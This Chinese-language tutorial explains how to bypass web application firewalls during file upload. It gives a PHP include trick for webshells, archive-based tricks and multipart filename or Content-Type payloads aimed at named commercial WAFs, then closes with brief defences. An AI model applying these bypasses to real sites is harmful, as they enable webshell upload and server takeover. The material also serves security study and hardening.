Bypass WAF And Defense
字数 917 2025-08-15 21:31:23
WAF绕过与防御技术详解
一、WAF基础概念
WAF (Web Application Firewall) 是一种专门为Web应用提供保护的安全产品,通过执行一系列针对HTTP/HTTPS的安全策略来防御攻击。
二、常见上传防御策略
-
客户端校验:
- 通常仅校验文件后缀名
-
服务端校验:
- 文件头Content-Type字段校验(如image/gif)
- 文件内容头校验(如GIF89a)
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
- WAF设备校验(根据具体产品而定)
三、WAF绕过技术
3.1 通用绕过方法
方法1:文件包含绕过
- 上传一个内容为木马的txt后缀文件(因后缀名关系不检验内容)
- 上传一个.php文件,内容为:
<?php Include("上传的txt文件路径");?> - 该php文件会引用txt文件内容,从而绕过校验
方法2:压缩文件绕过
- 上传文件shell.php
- 上传文件test.txt内容为:
<?php phpinfo();?> - 将test.txt添加成压缩文件test.rar
- 访问shell.php即可执行php代码
- 支持修改压缩文件后缀为zip、phar、rar等
3.2 特定WAF绕过
WTS-WAF绕过
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度云WAF绕过
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
- 对文件名大小写不敏感,"Php"或"PHP"可绕过
- 可合成图片马用Xise连接
阿里云WAF绕过
原始请求:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"
Content-Type: image/jpeg
绕过方法:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
- 删除Content-Type: image/jpeg即可绕过
安全狗绕过(旧版)
原始请求:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
Content-Type: image/png
绕过方法:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png C.php"
- 删掉Content-Type: image/jpeg只留下c
- 将.php加在c后面
- 注意双引号要跟着c.php"
云锁绕过
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
四、防御措施
4.1 目录权限设置
- 将上传目录设为不可执行
- 确保web容器无法解析该目录下的文件
4.2 文件类型校验
- 结合MIME-Type、后缀检查等多种方式
- 推荐使用白名单机制
4.3 文件名随机化
- 使用随机数改写上传文件名
- 即使上传了恶意文件,攻击者也无法直接访问
五、研究建议
- 深入研究HTTP协议和PHP/Tomcat对HTTP协议的实现
- 分析MySQL词法解析机制
- 掌握Fuzz测试方法
- 理解正则表达式原理和基本漏洞原理
通过深入研究这些领域,不仅能提升WAF防御能力,也能增强自身的安全技术水平。